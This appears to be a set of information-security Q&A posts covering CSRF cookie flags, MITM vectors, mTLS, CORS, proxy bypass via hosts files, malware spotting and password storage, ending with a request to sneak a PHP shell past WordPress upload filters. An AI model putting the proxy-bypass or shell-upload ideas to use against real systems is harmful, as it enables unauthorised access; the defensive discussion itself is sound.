Similarly to how cookies flagged Secure will only be submitted by the user agent over secure connections and those which are flagged HttpOnly will be forever inaccessible via DOM access, why not specify a new flag, say, NoCSR, or SameOriginOnly, which, when set, would prevent the cookie from being submitted with requests triggered by cross-origin referrers?

Of course, it would default to off so as not to break the previously expected behavior for already existing web sites, as per HTML5 Design Principle #2.1.  I suppose there does exist one security hole, but not one that can't be easily solved: it can't be indiscriminately depended on, because old browsers would presumably just ignore the unrecognized flag.

So why not just create a whitelisted enumeration of NoCSR-implementing user agents versions' corresponding UA strings, and then only accept/process authorization-requiring and sensitive requests that carry one of those User-Agent: values? For requests submitted with no or non-whitelisted UA headers, an error could be returned that reasonably demands that the user upgrade to a supported browser version.

The whitelisting could be DRYed out with canonical implementation libraries (it would probably be more like a single simple function) for various server side languages.

Doesn't this seem much simpler than the current system of generating, keeping track of, and reading secure CSRF tokens?

Thoughts, anyone?

You are right, your solution (a cookie that only works on the same origin) would prevent anti-CSRF tokens from being necessary against CSRF attacks. As for why nobody implemented this, we can only guess. Perhaps it is because a solution is already present in current header values, namely by checking the Referer header. Using the referrer is also more flexible than a NoCSR flag: you can whitelist multiple domains or subdomains.

Note that your proposal would not magically solve everything: cookies are also used when someone clicks a link and opens a page where they are logged in. Let's say you search for 'stackoverflow' and you click the top result, then you would like to be logged in even though the request came from another origin (namely your search engine). Therefore, you would need two cookies: one that has the proposed flag and one without. Or, alternatively, the flag would not apply to GET requests so that normal links work, but then you leave a lot of website still vulnerable when they modify the server state in response to GET requests (many applications will perform actions when you do requests like GET /deleteUser/123).

It's almost as if the browser should just include a flag about whether a request was across origins and then the web server can decide whether this is a dangerous action that should not be done across origins... which sounds a lot like the Referer header!


Downloadable Autonomous System contact information When under (a security) attack, it might be useful for the victim to first identify the source IP, then potentially contact the offending ISP. There seem to be plenty of tools for the part where an IP can be mapped to an ASN.

How do we go about mapping ASN to specific contact information? Some research has yielded services like ipinfo.io

But I would like a downloadable dataset which can be used offline (the victim may be knocked offline).

Thanks

Contacts of an AS or an IP network are stored in databases of the respective regional Internet registries. Each database is available for download on a RIR Web or FTP site. For example, here's all the data for the Asia/Pacific region.

Note that a contact data may change as time goes by. You'd probably want to update those once in a week or so. Also, from my experience, a huge portion of this contact data is just outdated garbage, and even ISPs which do maintain correct abuse contact data mostly won't help you to mitigate the network flood.

Moreover, in a specific case of a DDoS attack (since it's mentioned in the question tag) IP sources might be just spoofed, so there's no point in reaching arbitrary ISPs anyway.


Database field type for password storage? In the past I used varchar(255) for storing hashed passwords (no salt). Is this still enough? Or are longer fields required?

The size of the field in the database should exactly match the size of the output of your key derivation function. So if the output is 60 characters long, use a varchar(60) (or maybe char(60) if that's smaller or faster in your database).

And please, don't just hash the password and call it a day. Do it right.


Who can carry out Man-in-the-Middle (MITM) attacks? We seem to spend a lot of time guarding against Man-In-The-Middle (MITM) attacks without discussing who we are actually guarding against.

This is important because if these individuals are unlikely to attack our website or the cost of them doing so is minimal then we can afford to spend less resources guarding against such attacks. For example: https://security.stackexchange.com/a/58729/5002

My understanding is that there are only two ways to intercept internet packets:

Tap into the physical layer (i.e. the phone/cable lines outside my house or WiFi connection).
Tap into ISP infrastructure (the hops between my computer and the destination website).

There are only 3 kinds of people who can carry out these taps:

Anyone with technical knowledge to tap into the physical layer, or hack an ISP.
Anyone with legal power to compel ISPs to intercept the packets.

This leads to three kinds of attackers:

Rogue individuals.
Corporate spies.
The government.

The point I'm trying to make is that if your website is not financially or politically significant (i.e. Stackoverflow) then it is unlikely that MITM attacks are all that relevant. The most an attacker can do is vandalize the site, the probability that anyone would want to do so is low, and the cost of recovery is relatively low. Your average script kiddie might have the motivation, but lacks the technical ability to do so.

Am I missing anything? :)

There are many more ways of performing a MitM attack:

Direct DNS hijacking - spoofing a DNS response to the client's DNS request for the target server, to point to an IP controlled by the attacker.
The "Dan Kaminsky DNS attack" (for lack of a better name) - spoofing a DNS response to a client trying to find the nameserver for a host, allowing the attacker to pose as the real nameserver.
Address Resolution Protocol (ARP) poisoning - flooding the target with fake ARP broadcasts, to trick it into thinking that the target server's IP points to the MAC address of the attacker's machine on the network.
Route protocol spoofing and other attacks against protocols like BGP, RIP, OSPF, etc.
Partial MitM via packet injection attacks (e.g. sniffing the network, then spoofing a packet so that its source address is that of the server, and the TCP sequence numbers match the expected values)
Spoofing a response to a proxy auto-config script (if the client has one set) to cause it to point to an attacker-controlled proxy on the network.
Compromising the target server's account with their domain provider to redirect it to an attacker-controlled IP, which can then act as a transparent proxy.
Rogue WiFi APs with common or popular names (e.g. "Starbucks" or "BT-OpenZone")
WiFi hijacking with devices such as the Hak5 WiFi Pineapple, whereby it pretends to be any AP that a user device searches for (i.e. "are you there?" "sure, connect to me!")
Compromising home routers (the standard SOHO stuff is garbage) to inject into the routing table, add a static DNS entry, etc.
Utilising router features such as UPnP to mess with the routing table.

And probably a hundred more others that I can't think of right now...


Are flash cookies still a threat and that persistent? One year (or more) ago flash cookies were really a problem, because they could not be deleted from within a browser. They were not managed by the browser but by the flash player. Flash cookies were able to "respawn and recreate" deleted HTTP-cookies.

Is the flash cookie problem nowadays solved? Clearing your cashe and deleting your http cookies within your Chrome, IE, Firefox, etc would also delete flash cookies?

While "flash cookies" might be easy to clear as cx42net noted above, there are also other techniques that can be used to store hard-to-delete cookie-like data and read it from the server side.

Take a look at evercookie for reference. I've seen this used in relatively high profile e-commerce and content sites.


Mutual TLS authentication (mTLS) – what can happen if the clients Certification Authority (CA) gets compromised? I would like to establish a secure connection between two servers (Alice and Bob) via Mutual TLS authentication.

That means:

Alice provides Bob a certificate signed by CA
Bob provides Alice a self-signed certificate (p12)

Suppose Alice’s trusted root CA is compromised and would be able to issue a fraudulent certificate which matches Alice. What would such certificate be able to achieve, specifically about MITM type attacks?

My assumption is that nothing can happen because the attacker (fake Alice) is missing Bob's certificate to establish the connection in the first place. Is that correct?

Thanks!

What would such certificate be able to achieve, specifically about MITM type attacks?

For Bob, the attacker is Alice. The attacker says he is Alice, and gives him Alice's certificate. He will ask Bob for his certificate, and Bob will give him.

A compromised CA means anything signed by that CA is compromised, and useless. Every single issued certificate could be compromised, and you cannot tell if they are legit or forged. A compromised CA is a devastating error. It can put a public CA out of business. A private CA compromise will lead to lots of all-nights for the support team, but a public CA almost surely will be out of business.

And why would Bob use a self signed certificate? Or both uses self signed certificates, and exchange them only once (in person, maybe), or let both use CA issued certificates. This mix does not look well.


How to use custom headers with nmap? I am trying a bbp program, and they allow requests only with some custom headers. So I was wondering if it is possible to add custom headers to nmap requests.
Things I tried:
I tried using burp proxy. I thought of adding headers using burp filters. I used this command
nmap -p10000 127.0.0.1 --proxy http://127.0.0.1:8080

(Here, I used port 10000 because I am listening on this using netcat to see request)
But I don't know why, but data is not going to burp, even if burp is closed, nmap returns result.

The question doesn't make sense.
Depending on the chosen scan type, nmap sends raw TCP or UDP packets. By default, TCP packets with the SYN flag are sent, and nmap listens whether it returns a SYN; ACK (port is open) or a RST (port is closed).
TCP packets don't have HTTP headers. HTTP is a protocol that sits on top of TCP.


Are there any reasons to add a payload signature to a REST API with mutual TLS? We have a B2B REST API with Client Certificate authentication.
Are there any reasons to add also a payload signature check to this API?

I'm seeing many service providers which add a digital signature payload parameter to their API.

Having already a Client Certificate authentication in place, is it a redundant check or it serves another purpose?

I read that it could help for non-repudiation of the transaction.

I suspect this will be a big "It depends on your architecture" and so random internet people won't be able to give you a complete answer.

Off the top of my head, here's some scenarios where it might make sense to have client-auth TLS and payload signatures. The first are network constraints:

The TLS is terminated by CloudFront and the app server / backend doesn't get to see the client cert.
You want the message retains its tamper-protection even while bouncing around the server back-end in plaintext.

Then there are a host of ways that you could have a logical separation between the TLS connection and the API requests:

There's one Server <-> Server TLS connection that is routing requests for all logged-in users.
The payload signature is tied to some sort of API key, maybe for licencing reasons.
Non-repudiation and auditing: users have non-repudiation keys which are kept at a higher security level than the TLS certs.


Will using external OAuth providers for authentication protect users better than custom authentication? On StackExchange we have the ability to choose to use our existing credentials with external OAuth providers such as Facebook or Google.  This is convenient for users, but does it also have potential security advantages (or disadvantages) versus a traditional authentication model where a user would create a username and password specifically for my site, and my site manages the entire user store and authentication process?

Thanks in Advance

This does depend on your situation, but the short answer is don't re-invent the wheel if you don't have to.

If you can take advantage of OAuth/OpenID (stackoverflow does) then you probably should. This can be more for connivence then security, sites will offer OpenID but allow you to create a login if you don't already have one (so as to cover all bases). You need to determine what is best given your audience.

The benefit of leveraging other peoples authentication (facebook or G+ in this example) is that you leave them to worry about properly authenticating their users.

You could try to build it yourself, although you'll need to make sure you do so in a secure fashion. The advantage of rolling your own may be that you're not as popular and therefore potentially not an interesting enough target (although this does depend on your situation and isn't a security tactic itself). If you make some rookie mistakes, then you're leaving yourself open to potential attacks.

There are of course disadvantages in leveraging other peoples authentication. For instance someone might have given away their facebook password to a friend, who can now login to our site if you allow login via FB. Of course the same thing could happen with any authentication system, but you don't have control of the FB/G+ authentication so this comes down to your own research of how suitable this would be.


applications of double DES and triple DES what are the applications of multiple encryptions?
where the multiple encryption like double DES and triple DES algorithms are use?

3DES tries to cope with the biggest weakness of DES, which is its short key. A DES key contains only 56 useful bits, which makes it amenable to exhaustive search. This has been demonstrated as early as 1998.

Cascading two or three instances of the algorithms, with distinct keys, is a fix which was easy to apply on hardware which already included some DES circuitry. Moreover, 3DES has been especially designed so that it can be "DES-compatible": since 3DES is "encrypt-decrypt-encrypt", it suffices to make all three DES keys identical to obtain the same result as plain DES.

3DES remains in active use in a lot of legacy systems, and also in many smart cards because it is inexpensive in hardware (DES is slow in software, and 3DES thrice so, because DES is full of permutations of bits which are hard for code, but in hardware this is "just" plugging the right wires to the right transistors, with almost zero cost).

Security of 3DES is, in an academic way, about 2112 operations, which translates as "you cannot break that". The main trouble with 3DES is that it operates on 64-bit blocks, so some issues begin to happen when you encrypt more than 232 blocks with the same key (that's thirty gigabytes or so, which is large but not huge nowadays). The AES is meant to replace 3DES, but such migrations are always slow so not everybody has switched to AES yet.


Trusting HTMLUnit with Banking Details I figured this was a good place to learn a little about trusting libraries such as HTMLUnit with sensitive information.

I want to build a service that categorises my spending, kind of like my own personal mint.com. Can I trust an open source library such as HTMLUnit with passwords to sign into my bank account and scrape data.
Additionally I would like to know the most secure way to implement the dependency. Currently the dependency is downloaded into my Play framework project via maven. To do this all I had to do was add the following line to the build.sbt file:

libraryDependencies += "net.sourceforge.htmlunit" % "htmlunit % "2.20""  the build.sbt"

Is this a secure way to use such a dependency? Or is there a better way to add the dependency to my project?

Any advice would would be greatly appreciated, thanks in advance for your help.

Best practice in software testing is to avoid testing with production systems (Your banking site is a production system and additionally I bet automated crawling is a non intended use case) and further to not test with real data.

I'd try to mock most output of the banking site until I'm pretty sure my code is working as intended. The tests could be interpreted as a hacking attempt which could result in a temporary ban.

However I don't see an issue with using HTMLUnit since it's pretty transparent what the library is doing.

For the second part: Make sure to get the dependency via TLS.


Can anyone using my wifi see what I'm browsing? Can anyone using my wifi see what I'm browsing?

I've already read questions and answers about this topic and everybody suggests to use VPN.

I have two questions: is Tor safe for this issue? If I navigate (with Chrome for example) to an https website what can other users see? I mean can they see just the site I'm browsing or other things (e.g.: I'm on Youtube, is the video I'm seeing an available information)?

Can anyone using my wifi see what I'm browsing?

Well, that depends. If you are not being attacked (MITM, other users in promiscuous mode etc...) then the other users on your LAN can't really inspect your traffic, but your ISP can. Even if your traffic is encrypted, the ISP can't see exactly what you're visiting but it can use unencrypted information to gain some knowledge about your internet traffic and browsing activity, such as your DNS queries which are usually unencrypted. This can be suffice for your ISP to know most of the domains you visit etc...

Also your ISP could analyze your traffic patterns (or other unencrypted metadata) and extract useful information. For example, according to this article every youtube video has a unique traffic pattern when streamed to your device so if someone has access to your traffic, even if it is encrypted he can extract useful information. Those kind of attacks are called side channel attacks. Now if you are under attack, with what your ISP can do by default, the attacker can do also or worse.

  Tor safe for this issue?

Tor or VPN in general, can be used to tunnel your traffic and hide/protect it from potential attackers. In this case even your ISP can't see as much information as before, but it knows that you are using Tor/VPN etc... Though, you must be sure that the VPN/Tor servers are legit and trustworthy. For example, in my opinion you shouldn't use Tor to transmit sensitive information since nothing guarantees that the servers your traffic gets tunneled through are trustworthy.


Getting confusion that this responce indicate CORS vulnerability HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 12
Connection: close
Date: Tue, 25 Sep 2018 12:59:56 GMT
x-amzn-RequestId: xxxxxxxxxxx
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type,Authorization,Accept,X-Amz-
Date,X-Api-Key,X-Amz-Security-Token,x-client-type,x-client-version,x-
anonymous-id
x-amz-apigw-id: xxxxxx
X-Amzn-Trace-Id: Root=xxxxxxxxx;Sampled=0
X-Cache: Miss from cloudfront
Via: 1.1 xxxxxxxxxxxxxx
X-Amz-Cf-Id: xxxxxxxxxxxxxx

{"ok": true}

I am getting confused that this response indicates CORS vulnerability.

When I send the request I have changed the Origin: evil.com and then I get above response.

Can anyone tell me if this response indicates CORS vulnerability?

Access-Control-Allow-Origin: *

This is only a vulnerability of cross-origin requests from everywhere should not be allowed. But an application might explicitly be designed to allow cross-origin requests from everywhere  - in which case this would not be considered a vulnerability.

Since nothing is known about the specific application it cannot be said if this is a vulnerability or not.


Can one Bypass a Web Proxy by using the Host File? a website aaa.com has a Static Public IP address x.x.x.x .

Client B resides in a network and it accesses the internet through a web proxy C. How the web requests are routed from B to the proxy is unknown. C blocks all connections to aaa.com.

if x.x.x.x:80 is reachable for a client B(say, using Telnet or nmap), then can the Client B access the website aaa.com (through HTTP) by using a HOST File entry aaa.com x.x.x.x

P.S This is Kind of a Trivia Question, but there is currently no way for me to test it to be sure or to see if there are any specific challenges here.

The answer is quite possibly, it depends on how the proxy is configured and the networking works.

The key to answering this question is the line about the IP address of aaa.com being accessible using telnet or nmap.  As this is the case, we can assume that traffic to the site is not being blocked completely.

For example assuming the proxy is blocking based on hostnames it sees (e.g. aaa.com) and not based on other factors (e.g. the IP address) if it doesn't see a blocked address it may not block it.

If you give aaa.com a different address using hosts (which generally takes precedence in name resolution over other mechanisms), the request will go to the web server with that alternate name.  Now the webserver may not respond as it will get a request for a host it doesn't recognise and may not respond well to that, or may redirect back to aaa.com which would cause the proxy blocking to kick in.

What we don't know from the question is whether the requests using telnet or nmap were bypassing the proxy and therefore that's why they could get to it, in that circumstance it might not work.

To provide an example, say we're trying to block www.google.com. If you put a line in /etc/hosts specifying one of www.google.com's addresses being www.flooble.com, and then make a request to www.flooble.com and intercept the request with a proxy, what you see is a request to www.flooble.com on the IP address mentioned, with no mention of www.google.com.  So if the block is purely based on the hostname, it won't kick in.

Now we know from the question that connections to the web port on that IP address are successful, so it's possible that the connection would work.

EDIT - One other factor to consider, which would be important in this case is "where does the name resolution occur".  In some cases with an explicitly configured proxy the name resolution occurs on the proxy, in which case the request wouldn't work.  In other cases with a transparent proxy (i.e. the client browser isn't aware that it's using a proxy) the name resolution would occur prior to the proxy seeing the traffic, in which case it would seem from the question that the request would work.


What happens if the private key of a Trusted Timestamp Authority is compromised? what happens if the private key certificate of a Trusted Timestamp Authority used to sign the timestamps is compromised?

If this private key certificate is changed, should all timestamps be re-signed with the new certificate?

Does it is a single point of failure to all the SSL/TLS certificates?

If the private key of a Time Stamping Authority (TSA) were to be compromised then any timestamps issued by that TSA would lose verifiability. This would mainly mean that the use of such a timestamp wouldn't be valid in court for proving that a contract was signed on such-and-such date.

  Does it is a single point of failure to all the SSL/TLS certificates?

TLS certificates don't use Time Stamping Authority values.  Public CAs now send certificates to Certificate Transparency logs; but Signed Certificate Timestamp values don't have anything to do with Time Stamping Authorities.

Even for things which were cryptographically timestamped, the person requesting the timestamp can usually request timestamp values from multiple parties. As long as at least one of them had never had a key compromise (or evidence of clock tamper) then their timestamp value would still be considered authoritative... keeping the document considered appropriately timestamped.


nmap mac os lots of questionable ports open Ive been recently trying to lock down my network at home and suspect
that someone has hacked my linksys router because port 3128 seems to be
open through the router and I have no knowledge setting or allowing anything
like squid-http up.  I try to run things as lean as possible for security.
I checked my Mac OS while I was trying to figure things out and got the
following.  Note, I dont run any service (webserver, smtp server, DNS) or anything on my mac other than do my iOS work.

Along those lines, I did an nmap localhost on my mac os and got the following
on two different runs (minutes apart):

Starting Nmap 6.25 ( http://nmap.org ) at 2014-12-14 20:23 MST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00032s latency).
Not shown: 997 closed ports
PORT     STATE    SERVICE
631/tcp  open     ipp
5859/tcp filtered wherehoo
9009/tcp filtered pichat

Then a couple minutes later:

PORT      STATE    SERVICE
7/tcp     filtered echo
25/tcp    open     smtp
340/tcp   filtered unknown
389/tcp   filtered ldap
587/tcp   open     submission
631/tcp   open     ipp
900/tcp   filtered omginitialrefs
1065/tcp  filtered syscomlan
1087/tcp  filtered cplscrambler-in
1096/tcp  filtered cnrprotocol
1185/tcp  filtered catchpole
3128/tcp  filtered squid-http
4000/tcp  filtered remoteanything
5910/tcp  filtered cm
6001/tcp  filtered X11:1
6009/tcp  filtered X11:9
6123/tcp  filtered backup-express
7402/tcp  filtered rtps-dd-mt
8200/tcp  filtered trivnet1
8500/tcp  filtered fmtp
9099/tcp  filtered unknown
9103/tcp  filtered jetdirect
9200/tcp  filtered wap-wsp
32773/tcp filtered sometimes-rpc9
50001/tcp filtered unknown

Then again a minute or so later, I only got

631/tcp open ipp

I realize IPP is the printer, but many of the others I dont know
nor am I running as far as I know.

Im not a security expert, but Im having to drop back
and figure out security much more lately because hacking has gotten so
sophisticated and out of control.  I know some things but not
enough to keep up with all the hacks.  This looks highly suspicious to me
across the board.

Can anyone tell me which ones of these are legit and which arent or what
to suggest next?  Im thinking I might need to reload the entire OS but
I would hate to take the few days to do so if its not necessary and I might
be re-hacked again.

You should read up on what filtered means. It does not mean that those ports are open, but rather that Nmap didn't receive a response from them. On a localhost scan, this is very unlikely, but could happen if you are scanning "too fast" I suppose.

For checking open ports on your own system, your first tool should be netstat. This will show you (among other things) all listening ports. Nmap by default only scans the 1000 most-common ports, so it misses about 64000 other possibilities. Unfortunately, OS X's netstat does not show the process that is actually listening. You can get this information from lsof, though, so try sudo lsof -i | grep LISTEN.

EDIT: Following feedback below, I should point out that a service which is listening only on localhost does not represent a threat from an external attacker. You can determine this by looking at the output of netstat -an: if the port is listed with a Local Address of *:38568 (or whatever port number) then the service will accept connections from outside your own machine. If the Local Address is 127.0.0.1:38568 or ::1:38568 then it is accessible only from the loopback adapter (i.e. not from the network).


Why are there different pentest phases/stages/methodologies? Why are there different pentest phases/stages/methodologies?
Which one should be used?
Why don't we come out with standard one?

E.g.

Wikipedia / Cybrary.it

  Reconnaissance
  Scanning
  Gaining Access
  Maintaining Access
  Covering Tracks

Tutorialspoint

  Reconnaissance
  Scanning
  Gaining Access
  Maintaining Access
  Clearing Tracks
  Reporting

EC-Council, Imperva

  Planning and reconnaissance
  Scanning
  Gaining Access
  Maintaining Access
  Analysis

PTES @ pentest-standard.org

  Pre-engagement Interactions
  Intelligence Gathering
  Threat Modeling
  Vulnerability Analysis
  Exploitation
  Post Exploitation
  Reporting

InfoSec

  Intelligence Gathering
  Threat Modeling
  Vulnerability Analysis
  Exploitation
  Post-Exploitation
  Reporting

dev.Count

  Pre-engagement
  Information Gathering
  Threat Modeling
  Vulnerability Analysis
  Exploitation
  Post-Exploitation
  Reporting

RedTeam

  Intelligence Gathering
  Threat Modeling
  Vulnerability Analysis
  Exploitation
  Reporting

Core Security

  Planning and Preparation
  Discovery
  Penetration Attempt and Exploitation
  Analysis and Reporting
  Clean Up and Remediation
  Retest

Let's take a critical look at the collection you have:

The Wiki list is from a Cybrary article. That's basically one author's opinion, and I'm not sure you should include it in a comparison with more general advice. "Maintaining Access" and "Covering Tracks" are odd steps to include, unless you are doing specific testing on the detection capabilities of the target. "Maintaining Access" is often prohibited in pentest engagements because you do not want to introduce backdoors in a system (that could be forgotten).
The Impervia list differs from the rest by including "Maintaining Access" (imitating APTs). This, also, is a highly specific test that should not be included in a general framework of steps.

Taking the common steps together, and eliminating the highly specific steps, you end up with:

[Pre-engagement Interactions]
(Planning and ) Reconnaissance / Intelligence Gathering
Scanning

[Threat Modeling]
[Vulnerability Analysis]

Gaining Access/Exploitation
Post Exploitation
Analysis / Reporting
[Clean Up and Remediation]
[Retest]

The [] items are overhead and managerial items and not about the pentest itself.

Threat modelling and vulnerability analysis steps are explicit steps that enable the common step of "Gaining Access/Exploitation". These two steps do not need to be mentioned, yet for those who have not performed a pentest, it can be helpful to highlight these steps.

So, it's not that the collection of steps you found are very different from each other or that some sort of common, standardised list is required. It all depends on the goal and context of the pentest, and why you need a list of steps to begin with.


What processes would indicate my computer is infected with malware? If one opens Task Manager on a Windows machine and looks at all the processes that are currently running, are there any tell-tale signs that one of them is malware?

Just eyeballing task manager is a bit hit-and-miss, unless you are very familiar with what normally runs on your system. In general, though, I look for:

Process names which are just a jumble of random characters or numbers
are often a sign that they may be malicious, but shouldn't be
used as a definitive indication.
Misspelled names of common processes.

But it's much easier to use other tools, such as using Sysinternals Process Explorer for a deeper look, which includes VirusTotal integration (So you can right-click on a suspicious process and click "Submit to VirusTotal"), which will submit the hash of the file and return the VT score if it has been seen before.

Also keep in mind that not all malware runs as its own process. As an example, some malware may be injected into usually-trusted processes such as explorer.exe or svchost.exe.

It's really less about spotting malware and more a matter of knowing what is normal for your system and investigating anything strange.


Password manager: should key file be stored on a different device than password db file (even if master pw used)? Does it defeat the purpose of a key file to store it in the same location as the password database? What if a master password is needed also?

For example I save my .kdbx to dropbox as a means to backup and was wondering if I could save the key file too, but then if the dropbox account is compromised they would have both. Does it make sense to have both the key file and .kdbx locally on the same computer, or is this the same as having them both on dropbox?

I think the answer is best summarized by this is a quote from the Another Backup Plugin for KeePass FAQ:

Q: Should I back up my key file the same way I back up my password database?
Short answer: No, no, no! (What part of this answer don't you understand?)

The KeePass documentation also states:

Do not backup the key file to the same location as the database

And later goes into more detail:

Location. The point of a key file is that you have something to authenticate with (in contrast to master passwords, where you know something), for example a file on a USB stick. The key file content (i.e. the key data contained within the key file) needs to be kept secret. The point is not to keep the location of the key file secret – selecting a file out of thousands existing on your hard disk basically doesn't increase security at all, because it's very easy for malware/attackers to find out the correct file

While it may feel comforting to think of all your passwords being encrypted and hence secure, storing the key file with the database really adds little to no security. So using just a key file that is near the database is no security and using both a key file that is near the database and master password is the same amount of security as just using a master password.
The FAQ has further discussion of this if you wish to investigate further.


My Samsung SSD password is case insensitive, how does this affect Full Disk Encryption? I have a Samsung Evo 850 SSD, the 500GB model and it's supposed to benefit from Full Disk Encryption (FDE). Once you set a HDD password in the BIOS the FDE is supposed to kick in.

However, I was surprised to discover that the password for my HDD is case insensitive.
I am aware that the hardware encryption employed by the SSD is pretty much a black box and cannot be reviewed.
It's also pretty obvious that the password complexity is dramatically reduced because of this feature.

Is it common for drive-based FDE to use case insensitive passwords? Is there any reason why this must be done (eg: compatability with pre-UEFI systems)?

The strength of an encryption solution is directly tied to the number of possible passwords.  A brute force attack simply tries all possible passwords so it will succeed more quickly if the number of distinct passwords is smaller.  Case insensitivity means the attacker only has to try lower case passwords since 'EXAMPLE', 'eXamplE' and 'ExAmPlE' would all be seen as the same password as 'example'.

The number of attempts required for a brute force attack is roughly half the total number of possible passwords which is calculated by taking the number of distinct characters to the power of the length of the password.  A typical example character set is upper case, lower case, digits and special characters, which might add up to 96 distinct characters.  Removing upper case would decrease the number of passwords in this example from 96 to 70, assuming the three other types are all included.  So, for an 8 character password this change would weaken the password strength by a factor of approximately 12.5.  [That's 96^8/70^8.]

In a situation where you have diminished password complexity, it becomes much more important that you use a long password.  It's a subtle point, but the diminished complexity erodes the value of extra length.  For example, 96^9/70^9 is about 17.2, so going from 8 character passwords to 9 character passwords is more effective if the passwords are also more complex.


Possible to prevent/limit caching of DNSSec records? I am looking at the SmartCache service of OpenDNS where it caches authoritative responses.

From a client perspective, is there any way I can use a recursive DNS resolver to determine if the record is cached, and if so for how long?

From a server perspective, is there a way I can prevent the replay of the DNSSec data? (outside of key expiry)

As a client

I don't think that there is a way to check the cache status of a record on a DNS resolver. If you are really concerned about whether the record is cached then you can directly query the authoritative nameserver.

As a resolver

As a resolver you can choose to cache (or not cache) what you want, but I wouldn't recommend messing with this. The authoritative server has requested the cache time with their TTL, and I'd recommend that you just respect that. Caching is very important in DNS to spread out the load over the network.

As an authoritative nameserver

As an authoritative nameserver you can use your TTL to request that resolvers cache your record for a certain time (which you can set very low for near instant expiry). However, unfortunately, resolvers sometimes choose to not listen to TTLs.


Storing unencrypted, confidential data in client memory I am currently working on a service which lets users store client-side encrypted data and access it anywhere. The client connects through a browser and the webapp is written in JavaScript. To easier manage the stored data, I'd like to implement a search function.

The whole concept of the server not knowing what is stored means that data is not searchable server-side. Therefore the data has to be decrypted somehow.

Is it safe to decrypt all the data and store it in memory for the time of the clients session (store it in a variable)?

For user-experience related reasons, asking for the users password (encryption key) every time is not something that'd work I'm the long run.

Off the top of my head, I can think of four ways this strategy could fail. All can be mitigated to some degree through sound development practices and commonsense on the part of users, and a few would require some very targetted attacks, but they are risks nevertheless.

Eval

Storing confidential data on the heap will be risky if you intend to use eval, because code running under eval can access variables in the scope of the eval call, which might include your heap variables. Consider:

var creditCardNumber = 123456789;
var evalString = "window.alert(creditCardNumber)";
eval(evalString); // alerts the credit card number!

There are a couple of ways a malicious user might mount an attack:

If evalString is fished out of a database, an attacker might try and influence that data somehow
If your application uses third party code, an attacker might try and hijack that resource and use eval to grab the data and send it forwards (remember: code running from different scripts will still share the selfsame heap). This risk might be mitigated if the confidential data is somehow held in a closure rather than exposed directly on the heap, but such practices would be easy for a naive developer to break.

Remember that calling window.setTimeout and window.setInterval with string arguments are aliases for eval too.

Browser extensions

Browser extensions may be given the opportunity to inspect the contents of the JavaScript heap, directly or indirectly. For instance, Chrome provides a debugging API for extensions built as developer tools. Users must give permissions to use these extensions, though, and install them purposefully, so this might not be a simple way to mount an attack.

Reverse engineering

Even minified code can still be reverse engineered, so it's always possible for malicious users to reason about how you're performing encryption and the way your JavaScript application handshakes with the server.

Accidental exposure through third party code

You may be confident that your code never assigns creditCardNumber to something persistent like localStorage or serializes it to JSON and pushes it to window.name, but are you similarly confident about third party code? It might be worth checking if you're passing the object around, particularly if you're passing it to something that tries to perform caching.


Can unencrypted email be read or altered while it is in transit? If email is not secure while in transit, exactly how can it be read by unintended parties? Can an attacker read SMTP traffic while it is between the sender and recipient?

Yes, it can be read or altered if TLS is not used either between the sender and their mail server, or between the mail servers involved in handling the message, then anyone who is able to see the traffic between them can read or even alter the message in the clear.  They would need to have control of a system along the routing of the traffic so it isn't super likely, but it is certainly possible.

It is very difficult to ensure that TLS is used on all links, so if you need security for the message you should encrypt the message on the client prior to sending it.


How does a client authenticate the domain controller On an active directory based network how do hosts authenticate the Domain Controller? Is it possible for an attacker to impersonate the Domain Controller?

PS: I'm having a problem getting info on how this works on a low level, I think because I don't have googlable terminology, 'lil help?

If there is a trust relationship already established Kerberos is used.

NTLM is used when

authenticating to a machine using an IP address
if the machine is in a different forest that is using NTLM
the target machine isn't in the domain
the machines are not on the domain
if firewalls block the kerberos traffic

Microsoft has information on their use of kerberos at http://technet.microsoft.com/en-us/library/bb742516.aspx.

You can also find more information at the following links:

http://en.wikipedia.org/wiki/NTLM
http://en.wikipedia.org/wiki/Kerberos_%28protocol%29
http://technet.microsoft.com/en-us/library/cc738300%28v=ws.10%29.aspx
http://technet.microsoft.com/en-us/library/bb742516.aspx
http://support.microsoft.com/kb/102716


Does having a separate e-mail account only for security, increase security? In this article about increasing the security of LastPass the author suggests:

For additional security, you can have LastPass send security-related
emails to a special security email address instead of your normal
email address. For example, password hint emails, account recovery
emails, and multi-factor authentication disable emails will all be sent
here.
This email should be an extra-secure email address only you know about
– if someone gains access to your day-to-day email account, they won’t
be able to access your LastPass vault without access to your security
email account.

Is this good advice or is it just an unnecessary complication having another e-mail address? Is the idea that an e-mail address not frequently used would appear in fewer databases and is therefore less likely to be (randomly) hacked?
This article focuses on LastPass, but would such an e-mail account be good for other things such as receiving password resets for other e-mail accounts?

It is not a bad idea, but the key point here is not just having a separate e-mail but to enforce compartimentalisation of access. Here's a scenario:

you have your regular e-mail on @gmail
you have your "secure" e-mail on @hotmail (oh well..)
you check both e-mail from the same web browser
that browser is not up to date, or you stumble upon a 0-day vulnerability that compromises your system and end up with some malware installed on your machine

Surely an attacker cannot access your secure e-mail remotely; they just have to wait until you check it from your insecure browser, and capture the keyboard, or take screenshots, or what not.

As you are aware, there's no silver bullet in computer security; it's a matter of risk analysis and deciding what level of protection you want.

For example, you could (in increasing order of security/paranoia):

open the secure e-mail from a different web browser (making sure it's up to date)
...or from a different machine (physically separated)
...or limit your 'insecure' web browsing to a VM

Further alternatives include toying with virtualisation (think Qbes OS), etc.


Wordpress - 3.9 - uploading a php file through media gallery I'm using Wordpress 3.9.2. As we all know, Wordpress media-upload has some restrictions - you can't upload a PHP file, cause it may be malware.

There is an app called: iCon2PHP that can merge php with jpg/png, but it doesn't work somehow - I can't open the file when uploaded - it shows the 'unloaded img' -

I read a guide - it's here (second subsection) https://gnahackteam.wordpress.com/2012/03/02/how-to-hack-a-server-shell-uploading-rooting-defacing-covering-your-tracks/

The whole guide is outdated, but this paragraph seems to be a way to achieve the goal.

Is there any possible way to bypass it and upload a PHP through mediagallery (by converting the php, or something)?

Generally you can not bypass it if there is no known vulnerability which allows this.

So far the mediagallery in WordPress does not have such a vulnerability and https://wpvulndb.com does not mention any vulnerability for the mentioned plugin.

You might find some vulnerability in the plugin using fuzzer, pentesting tools or by studying the sourcecode manually.


